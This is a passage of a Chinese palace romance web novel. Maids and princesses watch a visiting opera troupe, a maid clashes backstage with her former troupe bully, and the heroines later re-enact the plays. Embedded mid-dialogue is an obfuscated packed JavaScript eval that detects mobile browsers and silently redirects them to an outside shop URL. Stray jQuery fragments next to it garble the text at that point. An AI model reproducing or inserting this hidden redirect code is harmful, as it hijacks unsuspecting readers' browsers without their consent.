她喜欢热闹，不爱闲着，不爱成日在小院里闷着。喜欢看那些人来了又走，喜欢听她们叽叽喳喳地猜戏码，喜欢苏萦懒洋洋地靠在榻上，喊一声“朱樱，去看看”，她就撒腿跑出去的感觉。 朱樱能干，力气大，跑的也快，办什么差事从不磨蹭拖沓。苏萦说她做事顶大半个男人——这话是按宗雀头算半个男人说的。 她与戏曲还颇有些渊源，幼时本就是个学戏的女孩子。也朝班主夫妇俩叫爹叫娘，但听说不是亲生的。亲爹娘在哪儿，几岁卖到戏班子来，早记不清了。 那是她七八岁的时候，那日她穿着新做的小红袄——师娘扯了布自己裁的，针脚歪歪扭扭，用料也局促，一抬手肚皮就露出来。但是朱樱很爱惜，那是她头一回穿新衣裳。她跟着一群师兄弟在街头卖艺，翻跟斗，打旋子，卯足了劲亮本事，引得看台底下挤满了人，其中就有一个骑在仆人脖子上的苏侯府大小姐。 她不记得自己那日一口气打了多少个旋子，人群的叫好声越来越高，离她越来越近，她越打越起劲，像一团跳动的火焰，地面在她眼里一刻不停地拉近拉远。打到第五十个，苏萦哭了。“哇”地一声，那么突兀，那么响亮，一下把满街的叫好声都吓住了。 当天晚上，她就被买进苏侯府，成了大小姐的侍女。从此，再也不用练功，不用挨打，不用在大街上打旋子给人看了。 没过多长时间，大小姐上京，进宫当郡主去了，她也想跟着去，慧嬷嬷说她性子像个淘小子，去了要坏事。不出一年，大小姐寄信来，说想朱樱了。 侯爷亲自来问她：怕不怕？敢不敢进宫？ 她想都没想，说大小姐让我去我当然去。她敢打五十个旋子不怕摔破了脑壳，进宫又怕什么的。 这一转眼，已安生过了八九年，跟在府里一样，吃穿都好，活儿也不重，果然没什么好怕的。 她还是不久前的某天突然想起来问苏萦：“郡主，你当时哭是因为心疼我？” 苏萦想了想，摇头道：“没有，我当时就是很怕，很怕你突然就把胳膊腿抡掉了。” 她小时候还学过几句唱词，师娘教一句她唱一句，依样画葫芦顺下来，年纪越大越记不清了。苏萦托人给她抄了几篇唱段，用手指点着教她识字。字认识了，那些记忆里的调子，竟也跟着一块儿回来了。 她现在偶尔唱几句，赏明宫的姑娘们都爱听。她平日里和姑娘们吹牛，说当年没让郡主买回来，接着在戏班子里学下去，现在说不定也成角儿了，一定是个最出色的刀马旦。 苕荣撇嘴嫌弃道：“做刀马旦干什么？就成日自己在台上翻跟斗打旋子！不能跟小生搭戏。” 朱樱说：“怎么不能，你没看过《穆桂英》？杨宗保要跳出来，与我过几招呢。”大家听了，都拍着手笑。 日子就这么一天天过着。 戏班子还没来，畅音阁的门已经开了，那塔楼的尖顶在冬日的阳光里，亮得晃眼。 朱樱每天还是要跑出去几趟。有时候是苏萦喊她，有时候是自己想跑。 跑出去，看看戏台搭到哪一步了；跑回来，跟屋里的姑娘们学说。 “今儿那台柱子立起来了！” “今儿那绣帘挂上了，红的，金线的！” 姑娘们听着，兴致勃勃，叽叽喳喳地，猜戏班子到底哪天到。窗外的阳光暖融融的，照得一屋子都是金色。 一转头，年到眼前了。 戏班子终于进了宫。 几十大箱银光闪闪的行头，来回抬了一上午才抬完。朱樱又跑了一回，全打听清楚了，说这班子是昆弋兼演，又有几个外串的名角，自带跟包的，带的行头自然多得吓人。 “什么叫‘昆弋兼演’？”苏萦今日又起的迟了，朱樱都跑去打听完回来了，苕荣还正在给她梳头搭首饰。 “就是能文能武，点什么唱什么！”朱樱粗略地解释：“郡主，但这种混班，从根上说到底还是昆腔班子，等给后宫的娘娘们点时，还是点几出文戏来听听，武戏不见得拿得出手。” “我看未必。”苏萦做了个鬼脸：“陛下是爱看武戏的，这谁都知道。打的没劲，可不只是砸场子，说不准要掉脑袋呢。” 真让苏萦说中了，初一那天，一出《探庄》就讨了个满堂彩。 扮石秀的是班子里特邀来的名角武小生，传闻年纪轻轻就做了苏州府升庆班的台柱子。一身短打，头戴毡帽，肩挑柴担，从上场门一个亮相，就把 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“点那个！点那个！” “哎呀我不敢写……” “那你别点，我自己点！” 珉雪一把夺过笔，刷刷刷写了一行字，又红着脸把笔塞给雨酥。 雨酥手抖得像筛糠，擎着笔为难了半天，还是把笔塞给苏萦。 苏萦笑得上气不接下气，好不容易把条子写好，递给边上候着的周福海。 周福海一瞥那些戏目，面色一凛，忙走到皇后身边：“娘娘，公主们点的戏，您审一审吧？” 步皇后将那条子粗略一瞥，见那几个丫头都提心吊胆远远地觑着她的脸色呢，见她抬头，齐刷刷把脸藏到团扇后面。 步皇后轻笑一声，把条子递还给周福海：“就按她们点的，拿过去吧。” 周福海愣了愣，躬身应了。 那群姑娘远远瞧见这一幕，团扇后面爆发出一阵压得极低的欢呼。 坐在前排左首的萧征回过头去，瞥了一眼叽叽喳喳笑成一团的姑娘们。他和萧庆昨日已陪着陛下看了一场，今儿又被母后抓来陪她这些庶母姐妹们再看一场。背上的伤养了十余天，还略有些隐隐作痛。畅音阁的凳子硬，靠着很不舒服。苏萦带着侍女们入席时，经过他身边，随手扔了个软垫子给他。 萧庆平日到了后宫里也是直奔母亲的玉栖宫，这些个比母亲年纪还大的庶母和姐妹们，他都瞧着面生。 女人们见了他可都是很喜欢。老皇帝的幼子，谁见了都疼。 “庆哥儿窜个子了！” “变了模样了。前两年瞧着还虎头虎脑的。俊了，越发的像你十七哥了。” “还记不记得小时候娘娘抱着你看戏，你啃桃把门牙啃掉了？” 谁经过都要寒暄两句，摸一摸脸蛋，捏一捏耳朵，都还当他是个小孩子。 “哥，我想走！”萧庆在凳上如坐针毡，躁动着简直像屁股上长钉子，不情愿地赖赖唧唧：“今儿还有没有浪里蛟？没有我可走了。” “老实坐好，”萧征横他一眼：“我看你像个浪里蛟！” 81.“好一个吕布！” 浪里蛟，正是昨晚《探庄》的石秀。 昨儿一亮相就博了个满堂彩，不光萧庆印象深刻，后宫里的姑娘们也都听说了他的大名，一个个满怀期待地等着盼着呢。 三出“吉祥戏”熬过去，萧庆早不耐烦，找个借口先溜了，萧征也劝不住他。姑娘们却个个有耐心，揣着那点儿心思，蓄势待发着。中场休息，演员都在后台忙活，什么也看不见，场务进进出出更换布景，舞台边儿上的琴师也默默换了个人。姑娘们坏笑着，彼此交换着眼神：到她们点的了。 先上的是《小宴》。 锣鼓一响，满场的精神都提起来了。 乱弹的班子就是不一样。昆腔开场慢悠悠的，先笛子后唱，像温酒；乱弹上来就是一套急急风，锣鼓点儿密得像雨点子砸在瓦上，震得人心里突突直跳。 吕布出场了。 ——好一个吕布！ 身材魁梧，气宇轩昂，那一身白靠，银甲鲜明，头顶紫金冠，不知是行头本就如此，还是为了年节热闹，一身衣着用红丝彩绣装饰，冠子上也装点着好些个红绒球。 “……像个新郎官儿。”苕荣看呆了眼，痴痴地轻声说。 “是呐，来娶你来的。”朱樱用胳膊肘捅她一下打趣。 他那冠子上的两根翎子足有五六尺长，随着他的步伐微微颤动，简直像还插在雉鸡身上那样灵动鲜活。可他的脸—— 他的脸是冷的。 剑眉星目，面如冠玉，唇边一丝若有若无的弧度，说不清是笑还是傲。他往台口一站，目光往远处一望，压根没往台下看。 可越是这样，台下人的眼越忍不住要望到他脸上来。 珉雪手里的团扇不知不觉放了下来。 那吕布开始动了。 两根翎子先是一抖，齐刷刷弯成两个圈，又猛地弹开，像两道黑色的闪电。他转身，翎子在空中划出一道弧线，又稳稳落回他肩后。辕门射戟，不战而屈人之兵的倨傲将军，瞬间便活灵活现。 “好！”不知哪个角落里有人轻轻叫了一声。 吕布走近貂蝉，脚步不疾不徐，可那两根翎子却不安分起来。一根轻轻往貂蝉脸侧一探，又收了回来；另一根跟着上去，在她眼前一晃，像在逗弄，又像在试探。吕布到底也是男人，见了绝色美人，也难掩心花怒放的。 貂蝉往后退了一步。 吕布笑了。 这一笑，满场姑娘的心都跟着漏跳了一拍。 不是那种轻佻的笑，是吕布该有的笑——自信，傲气，还有十分“你定逃不脱我手”的笃定。他整个人站在那里，就是一团烧着的火，光焰万丈，让人不敢直视，又忍不住想看。 接下来，宴席摆开了。 吕布入座，貂蝉斟酒。王允借故退下，只留二人对饮。 吕布端起酒杯，却不急着喝。他看了貂蝉一眼，那眼神里有火。忽然，他把酒杯往上一抛—— 满场惊呼。 那酒杯在空中翻了个个儿，稳稳落下来，他一张嘴，竟用牙齿叼住了杯沿！ 全场一静。 紧接着，他头微微一仰，杯中酒液倾泻而下，一滴不剩地落入口中。那两根翎子随着他仰头的动作划出两道漂亮的弧线，像两只活了的鸟儿在空中打了个旋儿。 酒尽，他低头，把空杯轻轻放回桌上，嘴唇一松，杯子稳稳立住。 从头到尾，手没碰过酒杯。 “好——！！！” 这下叫好声压不住了。后排不知哪个胆大的姑娘先喊了出来，紧接着满场都是压着嗓子的惊呼和猛拍大腿的声音。 珉雪已经不记得自己是什么时候把扇子放下的了。她只知道自己的眼睛一刻也移不开，手心全是汗，心跳得比刚才那套急急风还快。 可这还只是开始。 酒过三巡，吕布的眼神越发灼热。他盯着貂蝉，那目光简直能把人烧着。忽然，他头微微一偏——左翎一抖，竟用嘴轻轻衔住了翎梢。 满场倒吸一口凉气。 那翎子本是插在冠上的，足有五六尺长，柔软而有弹性。他衔着翎梢，缓缓转头，把那根翎子像一条灵蛇般，向貂蝉脸侧探去。翎梢轻轻划过貂蝉的下巴，又顺着她的脸颊往上，在她眉眼间流连。 貂蝉微微侧身，想躲。可那翎子不依不饶，又跟了上来。 这一次，翎子停在貂蝉眼前——就那么近，近得能看见翎尖上细密的绒毛微微颤动。 吕布的眼睛，隔着那根翎子，直直地望着貂蝉。 四目相对。 台下有个姑娘“呀”地一声轻呼，手里的团扇掉在了地上。 可她顾不上捡。 所有人都屏住了呼吸。 那眼神，那翎子，那隔着翎尖的对视——分明是在说：你逃不掉了。 翎子就像是吕布的另一只手，另一双眼，赤裸裸地、明目张胆地，勾引着、挑逗着、诱惑着。 貂蝉的脸红了。 台下姑娘们的脸，也红了。 那翎子又动了。这次是双翎齐下——吕布左右开弓，两根翎子同时向貂蝉探去，一根从上往下，轻轻拂过貂蝉的肩头；另一根从下往上，在她腰间虚虚一绕。两根翎子缠绵着、追逐着，把貂蝉困在中间。 貂蝉躲不开，也似乎不想躲。她只是低下头，手里的团扇遮住了半张脸。可那眼睛，还从扇子边上露出来，亮晶晶的。 两根翎梢在她面前轻轻一碰，像是一个吻。 苕荣手里的茶盏早就忘了放下，茶水顺着盏沿流下来，差点倒了苏萦一手。幸亏朱樱眼疾手快，一把抢过茶壶。苕荣浑然不觉，两眼直勾勾地盯着台上，嘴微微张着，脸烧得通红。 “这……”她喃喃，“这还是人吗……” 旁边珉雪已经顾不上什么体面了，团扇也不打，只用两只手捂着发烫的脸，眼睛却从指缝里直往外看。雨酥更是不济，整个人靠在椅背上，像被抽了骨头似的，软成一滩。 那吕布终于放下翎子，端起酒杯，又看了貂蝉一眼。 这一眼，比刚才那翎子还勾人。 台下不知哪个姑娘，轻轻地，长长地，叹了口气。 紧接着，好几把团扇同时举起来，遮住了一张张红透了的脸。 苏萦今日带的是苕荣和朱樱，蜜合最怕吵闹，朱樱却正好算 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“就是昨儿个《探庄》那个石秀！陛下叫好的那个！” “叫什么来着？” “浪里蛟！我听说，不是本班的，是特邀的名角儿……” “那他还演别的吗？后头还有他的戏吗？” “今儿没了！我看了戏单，后头全是文戏……” “浪里蛟……”有人轻轻念着这个名字，像在念一个秘密。 苕荣还傻站着，木偶人一般，朱樱伸手在她眼前晃了晃：“回神了！人都下去了！” 苕荣一把拨开她的手，眼睛还盯着台上呢喃：“别挡……”浪里蛟是退场了，可那两根翎子好似还在她眼前晃，怎么都挥不去。 朱樱看她那不值钱的样儿，嫌弃地翻了个白眼。 这一整场下来，萧征虽碍着母亲和众姐妹都在场，还是硬着头皮偷瞥了苏萦十几眼。 苏萦这丫头古怪，他也是近些日子才注意到——她顶爱拿男子美色下饭。越是得见形貌昳丽的男人，她的胃口就越好，一场戏下来，虽也同旁的贵女们一样，不错眼珠地盯着台上，一张小嘴可没闲着，端着一盏杏仁豆腐，大口大口地吃得津津有味。 苕荣叫不动，好在朱樱是轻手利脚的，猫着腰跑进跑出，替她添了好几回。 连袁鸣这等粗线条的男人，都循着萧征一道接一道的目光看出端倪，忍不住随口道：“诶，郡主原来爱吃豆腐啊。” 说者无意，听者有心，萧征瞬间想起前日苏萦朝他前胸猝不及防掏的那一把——抓得可疼。本来才端起自己手边那碟点心尝了一口，闻言“噗”地喷出来。忙掏出手帕揩拭遮掩。 “怎么了殿下，吃到脏东西了？”袁鸣茫然地探头急问。 “听到脏东西了！”一句话激起萧征心中委屈，遥想当日自己狼狈处境，被这轻薄小女上下其手，清白近毁，今日她就移情别恋，满眼全是那台上的求偶大蠊，整场下来都懒得瞧他一眼。心中不禁又是忮忌又是怨怼，恨得咬牙切齿，愤愤然扭头生起闷气来。 82.“他当年就不是什么好东西。” 苏萦可浑然不知他在想什么。 珉雪牵着她的袖子，又是跺脚又是捶腿，耳根子都涨红了，两眼在黑黢黢的台下亮成两道火苗。 “啊呀，这天底下居然有这么俊的男子？我前面十八年都白活了！” “是不是？”后面一个活泼的宗室女倾身过来接过话头：“那身段也好！刚才衔翎子那一下，我简直——” “真的！”珉雪见苏萦似笑非笑一脸看她笑话的模样，不像有什么共鸣，就一把丢开她的袖子，整个扭过身子去与那宗室女热火朝天地讨论起来。 雨酥更衣回来，走过两人身前，苏萦揶揄地指着珉雪拧成麻花的身形给雨酥看：“该端面镜子来照照她这副模样。” “喂！”珉雪耳朵可尖，回身抄起团扇来作势要朝苏萦身上拂去：“臭丫头，编排我什么呢！” 苏萦灵巧地一闪避开了，躲到雨酥背后，搂着她的腰嘻嘻坏笑。 “妹妹，再听一出我就要走了。”雨酥转过头来朝苏萦悄声说：“你说我什么时候向皇后娘娘请辞告退合适？” “这就要走啦？”苏萦错愕：“难得能听一回戏，听完吧？再不知什么时候能听着这么好的戏了。” “这我也知道，”雨酥眉宇间也很有些失落为难：“只是叶才人近日身子不适，精神欠佳，今日说听戏，也没有起来。我来前说好，回去之前顺路去看她一眼的。回去晚了，怕她担心。” “啊，”苏萦一愣，满场略扫了一眼，果然不见雨酥的生母叶才人，倒与萧征望过来的目光猝然撞在一起，两人都像叫闪电打了一下，目光急急闪躲。 “那是该早点回去。一会儿那巾生若唱得不好，这出完了我陪你一起走。”苏萦说到一半，俏皮地吐了下舌头：“若是唱得好，我可得听到完。” “刚才一个吕布就那样巧，张生怎会差了？” “喔唷，雨酥姐姐！”苏萦夸张地大呼小叫，伸手到雨酥怀里去咯吱她：“瞧你平日老实本分的，从没听你夸过谁，原来也喜欢吕布嘛！” 闹得雨酥满面绯红，笑着逃回自己座席上去了。 苏萦笑完，坐定含了口茶漱漱口，回头一瞧，自己身后空空荡荡的，一个人也没有了，那两个丫头也不知这会儿跑到哪儿去了。后台寻那武生去了？ 她倒是没觉出那浪里蛟有多好。 好看是好看，功夫也是真好，可总觉得……太烈了。像一壶烧刀子灌下去，辣得人嗓子眼儿疼。她更喜欢温一点的酒，能慢慢品的那种。 闲着无事，她朝萧征的后脑勺偷瞥了一眼。萧征没发现她的注视，正侧过脸同母后说着什么。那侧脸用不着扑粉上妆，墨笔勾画，也是刀削斧凿般的俊美，不比什么浪里蛟差嘛！ 就是不知道唱曲儿的功夫如何。等来日再拿住他什么把柄，到时就使唤他唱两句来听听。 知仆莫若主，苏萦猜的一点不错，那两个丫头就是往后台去了。 《小宴》才谢了幕，苕荣就一把拉住朱樱，眼睛亮得吓人，悄声道： “朱樱！陪我去后台看看！” “后台有什么好看的？” “看看那个——”苕荣更压低了声音，脸已经红了：“那个吕布啊！” 朱樱还没来得及拒绝，已经被她拽着往后台跑去。两人一溜烟钻进了畅音阁后头的穿堂。 后台比前头乱多了，人来人往，箱笼横七竖八。几个跑龙套的从她们身边挤过去，苕荣探头探脑地往里张望，朱樱只想赶紧把她拉走。 就在这时，幕布后面忽然钻出一个人来。 浪里蛟已经卸了行头，只贴身穿着件雪白的水衣子，脸上的妆还没卸，却也能辨出浓墨重彩下的锐利眉眼——人的模样非要长成他这样，才配称得上一句剑眉星目。一张脸，冷得像淬过火的刀锋。 浪里蛟往这边扫了一眼，只一眼，苕荣就像被什么击中了似的，红透着脸无声尖叫着躲到朱樱身后，手指死死攥住了朱樱的衣袖。 浪里蛟瞧都没瞧她，眼神却定在朱樱脸上。 他歪了歪头，眯起眼，像在辨认什么。半晌，嘴角慢慢勾起一个笑。那笑容还像是吕布的笑，只是掺杂着一点让人不舒服的东西。 “小旋子？”他试探着唤。 朱樱错愕地眨了眨眼。 “你怎么知道——” “真是你！师傅当年果然没看走眼，你真长成个美人儿啊！” 那人笑了，笑得更坏了。 他往前踱了一步，上上下下打量着朱樱，那目光像一把软刀子，从她头顶一径刮到脚底。最后，他轻笑出声，语气中满是奚落：“你现在——怎么成了个宫女啊！我当你早攀上什么侯爷少爷，当上太太奶奶了呢！到头来，就落到这么一个地方，一辈子伺候人？” 那嘲讽不屑的语气，让朱樱迅速地在记忆中搜罗出一张熟悉的面孔，与此刻油彩下的那张脸逐渐融为一体。 “小灵芝？！”她脱口而出。 “哟，还记得师兄我呢。” 朱樱惊得双眼猛地睁大。小时候的记忆飞快地翻涌出来——从前在班子里，这个师兄总是欺负她们这些小的，抢她们的吃食用物，师傅面前告黑状，暗地里给人使绊子，又仗着长得好，天生就是见一个招惹一个的浪荡胚子。 “姑奶奶如今比你阔得多了！” 她下意识紧张地一把将苕荣护在身后，声音又脆又响，像炒豆子似的炸开： “卖屁股的戏子，下九流！” 浪里蛟愣了一下。 随即，他笑了，笑得前仰后合，笑得旁边路过的人都侧目看他。 “行行行，你阔你阔。”他笑够了，抹了抹眼角，睁开眼睛看朱樱，眼底满含着恶意：“好好做你的奴才去吧，小——旋——子。” 最后那三个字，他一字一顿，从牙缝里磨出来，像在逗一只炸毛的猫。 朱樱气得浑身发抖，知道这地方不能再待下去。她一把拽住依依不舍的苕荣，转身就挤出了人群。 苕荣被她拖着走，却忍不住一步三回头。那人还站在原处，双手抱胸，歪着头看她们，脸上挂着似笑非笑的表情。 “朱樱朱樱，”苕荣压低声音，脸红得像要滴出血来：“你认识浪里蛟啊？你跟他熟不熟？可不可以帮我——” 朱樱猛地停下脚步，甩开苕荣的胳膊转过身来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298962|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你给我听着，”她盯着苕荣的眼睛，严肃地正色道：“一定离他远点儿！” 苕荣被她这突如其来的严肃吓了一跳。 “小时候在一个班子里，”朱樱的声音沉下来，恨得咬牙切齿：“……他当年就不是什么好东西。” 苕荣眨眨眼，似乎没太往心里去，只是低着头“哦”了一声。 下一出是《跳墙着棋》，小生要上场了。换了个琴师上来，笛声悠悠地响起，满场的气氛也跟着变了。 苏萦朝戏台边的过道瞟了一眼，见两个姑娘正急急忙忙地挤着人群往回赶，一颗心就落了地，两眼懒懒地盯向舞台，漫不经心地等着。台下观众皆已坐定，萧征偷偷回头，目光又落到苏萦身上。她又在吃，一勺接一勺，腮帮子鼓鼓的，像只小仓鼠。 张生出场了。 苏萦手里的勺子“啪”地掉进碗里。 那是什么人？ 一身月白褶子，头戴方巾，手里一把折扇。眉目清隽，步子迈得不大不小，不疾不徐，每一步都踩在笛眼上。 活脱脱一个画里走出来的神仙哥儿！ 他往台口一站，目光往远处一望——往他心里那个崔莺莺在的地方看。 就那么一眼，苏萦的心也跟着飞过去了。 张生开始唱。唱他相思，唱他辗转，唱他翻来覆去睡不着觉。那嗓子，不尖不哑，不高不低，就那么温温润润地淌进人耳朵里，像三月的春风，六月的荷香。 苏萦的眼睛直了。 她不错眼地盯着台上，盯着那人的一举一动。他走一步，她眼睛跟着挪一寸；他转个身，她脖子跟着转；他将那折扇一开，她连呼吸都忘了。 张生跳墙了。 那一跃，身姿潇洒，袍角翻飞，落地稳稳当当，连头上的方巾都没歪一下。他站稳了，整了整衣襟，往台侧望了一眼——那是崔莺莺要来的方向。 苏萦的心也跟着那一眼跳了一下。 “太绝了……”她喃喃，“怎么会有这么好看的人……” 萧征的目光定在她身上半天了。 他看着苏萦那副样子，眼睛直勾勾地盯着台上，手里那碗杏仁豆腐早忘了吃，捏着勺子悬在半空，半天没动一下。 她嘴角弯着，眼睛亮着，脸上升起两团红云。 萧征的脸黑了黑。 他认识那个表情。 前世，今生，那明明都是看着他才会有的表情。 袁鸣在旁边看得津津有味，啧啧赞叹：“哎哟，殿下，这张生唱得是真好，我都听进去了，您说是不是？” 萧征没吭声。 “殿下？” “……嗯。” “殿下，”袁鸣扭头看他一眼，“您脸色不太好，要不要喝口茶？” 萧征端起茶盏，狠狠喝了一口，整张脸都皱起来。 这什么茶啊，苦死了。 台上的张生还在唱，唱他的相思，唱他的痴心。 苏萦的眼睛还在追，追着他的台步，追着他的身段，追着他每一次转身每一次回眸。 萧征把茶盏“咚”地放下，目光沉沉的，不知道在想什么。 83.“笨张生！” 第二天早上，赏明宫主屋里，正梳着头呢，苏萦和苕荣像约好了似的，突然同时开始发疯。 “啊啊啊吕布！” “啊啊啊啊张生！” 一个比一个嗓门大，仿佛在比赛谁更能把房顶掀翻。 “吕布！吕布！” “张生！张生！” 蜜合熨好了衣裳拿进来，见这两位一个抱着枕头，一个捂着心口，对着空气深情呐喊，俱是一脸陶醉。她挪进来，险些被突然两手一张的苕荣打到，忙闪身躲去，笑道：“怎么都像让人勾了魂儿似的？昨儿一晚上的戏有这么大魔法？” “咱也不知道，”朱樱端着洗漱的热水进来，闻言咯咯地笑：“敢情那戏里有迷魂药！” “朱樱，”蜜合眯起一双笑眼：“你怎么没事？” “我？我从小听得多了。干一行恨一行——”朱樱利落地把盆里的热毛巾拧干递给苏萦：“郡主，擦把脸吧。” “蜜合，我今儿不穿这个。”苏萦一瞥蜜合拿过来的衣裳，小眉头一皱：“有没有水粉的，天青的，给我找一件来，我要扮崔莺莺。” “好～！”蜜合好脾气地应了，转身到外头箱笼里去找衣裳。 朱樱虽嫌弃她两人这副花痴样，被两人扯着胳膊央着来搭戏，倒也大大方方地依了。 只见她一会儿扮吕布一会儿扮红娘，一会儿衔酒杯一会儿抱棋盘，玩得热火朝天。 一忽儿演吕布促狭一笑，将苕荣逼至墙角：“小姐——可有婚配？” 闪身又跳到地当间成了俏皮狡黠的红娘：“啊小姐——焚香煮茗，俱已停当，请小姐——玩月去！” “还得是咱们朱樱！”苏萦咯咯笑着鼓掌不迭，由衷赞道。 “那您看！”朱樱得意地把胸脯一挺：“咱小旋子挑得了大梁挎得了刀！” 更惊喜的还在后头——宗雀头居然是个琴师。 看他从包袱里变戏法似的取出一把胡琴，从容熟练地调起弦子，姑娘们都惊喜地喊叫起来。 “雀头！你会这个？”朱樱眼睛都亮了，冲上去往他背上拍了一巴掌：“我认识你这些年你不拿出来！就知道巴结郡主！” 雀头嬉皮笑脸地打哈哈：“哎哟，原来谁知道咱们朱樱姑娘唱那么好？平日听你嗓子眼儿里呼隆，还当你压根儿没入门呢。” “嘁！”朱樱一扬下巴：“别说我！你的琴拉得如何？单把架势摆出来了，一会儿可别招我们笑话。” “开玩笑！”雀头把琴往怀里一抱，下巴一扬，“小爷——奴才我，平口县第一琴师！打听打听，我爹是干什么的？就是当地最大的戏班子里拉弦的。打从我乍吧乍吧会走路了，他老人家就领我到戏园子里帮人搭手，后来我也就跟着学。” 再后来呢？ 再后来，饥荒。非得卖一个儿子换粮吃不可。卖到宫里去，卖的更贵，全家人能再晚饿死几天。 再再后来的事儿，都一目了然，就甭提了。 大家都很默契地没有再问。琴声也紧接着活泼地响起来。 雀头手底下拉琴，嘴里头“咚锵咚锵”敲锣打鼓，真真是个全才，演戏的人却蹩脚，一会儿从台上跑回桌前看一眼戏文册子。 别说词儿不顺，字儿还认不全呐。琴师的鼓点儿越来越快，嘴角都直喷沫子，催上台呐，“貂蝉”还急着问“崔莺莺”：“郡主，这两个字儿怎么念呐？” 排了半日，雀头把琴往旁边一放，有气无力地抗议：“咱能不能别排《小宴》了？奴才这嘴里捣动不过来，嘴都瓢了！” 蜜合性子内向，不爱凑这种热闹，可坐在一旁看她们闹，嘴角也忍不住弯起来。 听了好一会儿，她们还没累呢，蜜合都替她们累了。趁着没人注意，她悄悄退了出去。 院子里安静多了。 蜜合深吸一口气，刚要到她的绣房去，忽见院门口站着一个人。 蜜合愣了一下，赶紧迎上去：“十七殿下？您怎么来了？” 萧征不知在那儿站了多久了，见她出来，如释重负地朝她笑笑，正巧听见屋里又传来一阵笑闹声。 “郡主在屋里头玩什么呢？” 蜜合抿嘴笑了笑：“昨儿看了戏，郡主想是特别喜欢，拉着奴婢们排戏呢。从今儿一早一直玩到这时，想也该停了，奴婢去给殿下通传一声。” “不必。”萧征抬手制止，嘴角噙着坏笑跨步上前，手指搭上了门板，侧耳听着门里的热闹。 “来来来，这回我要演张生！”苏萦的声音又脆又亮：“朱樱你演崔莺莺！” “您演张生？”朱樱的声音带着笑：“您能跳得了墙吗？” “我不管！我就要演张生！” “行行行，您演张生。那苕荣演什么？” “苕荣演红娘！” “那奴才呢？” “你演——你演老夫人！凶一点的那种！” “哎哟！您可饶了奴才吧！哪有这么当老夫人的，自个儿闺女私会外男，干看着不管，还给拉弦子配乐！” 屋里笑成一团，夹杂着雀头那胡琴的调子，热闹得像过年。 萧征听得轻笑一声，含着几分恶作剧的心思，“嚯啷”推开了门板。 练得热火朝天的草台班子一见来人，瞬间作鸟兽散。 站在床上正要“跳墙”的“张生”，踩着自己的长袍下摆，一屁股坐到床上。 雀头抓着琴急急忙忙往外头逃去，险些绊倒在门槛上给萧征行个大礼。 “奴，奴才给殿下请安！” 萧征忍俊不禁道：“慢些，别摔了你的琴！” 朱樱和苕荣也忙行了礼从萧征身侧挤过去，只剩下床上坐着的“张生”和一屋子狼藉。 苏萦的脸本就笑得绯红，忽地叫萧征撞见这狼狈样子，耳根子更烫了几分。 “……来怎么也不事先说一声？”怀着几分嗔几分恼，少女瞪他一眼，别过脸去。 萧征站在门前，并不向内走，含着笑端详着这小“票友”。苕荣梳妆的本事还是很有几分厉害的，拿一根发带在苏萦头顶一系，插许多同色点翠钗子假作头面。苏萦身上穿一件水粉长袍，罩一件同色披风，活脱脱一个—— “莺莺小姐。”萧征三分揶揄七分欣赏地唤。 苏萦听了这话，转回头冷起脸来，把眼梢一挑，操着戏腔道：“好个张生！你是何等之人？我在这里烧香，你无 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“那你若有哪里思路没捋顺的，可以同我说说，我可以帮你想想嘛。你老是自己憋在心里不说……”苏萦想向他走近，又莫名不敢走得太近，两人隔着一张茶桌站定：“……查的方向错了怎么办呢？” 萧征狐疑地朝她瞥了一眼，苏萦故作镇定，假装低头给自己倒茶避过了目光。 “怎么会有这种想法？你想到什么了？”萧征探寻地问。 “我就想……”苏萦越说越心虚，感觉自己后背上都出了一层白毛汗：“你有没有可能把事情想的都太复杂了呢？你这些日子思虑太重了。可能有些事，就是比你自己想的要简单的多了——” “就比如说！”苏萦见萧征还是满脸茫然，心急之下，假装是当下随口编出来的一个例子，暗中觑着萧征的神色试探着说：“有没有一种可能，你的印信不是被质心阁的人偷了，就是被一个，呃……随便一个小偷给偷走了！你那印信是玉的，他看了一定觉得是个值钱东西，就给卖掉了，然后我——” 萧征皱眉沉吟：“不会。” 苏萦紧急收回要从袖中拿出印信的手，僵硬地干笑道：“哈哈，是不大可能哈。” “郡王印信，谁也不敢收。何况已是一件成型的玉器，磨得再小也做不得什么了，没什么价值。” “有道理。”苏萦煞有其事地点头赞同。 “就想跟我说这个？” “……嗯。就是……突然想到了嘛。”苏萦心虚地低下眼眸。 萧征欣慰一笑：“难为你替我挂心。” “对了，”萧征又转过身来：“我有跟你说过我的印是被质心阁的人偷的吗？” “啊！你忘啦？”苏萦惊觉自己说走了嘴，脑内如陀螺飞转：“就咱们犯了宵禁被抓那日，在大牢里你给我看那个叫质心契的东西的时候跟我说的嘛！” “我真忘了。”萧征不好意思地挠挠头。 “哎哟，哥哥老糊涂了！”苏萦眼见危机解除，得了便宜还卖乖，假装嫌弃地朝他做个鬼脸。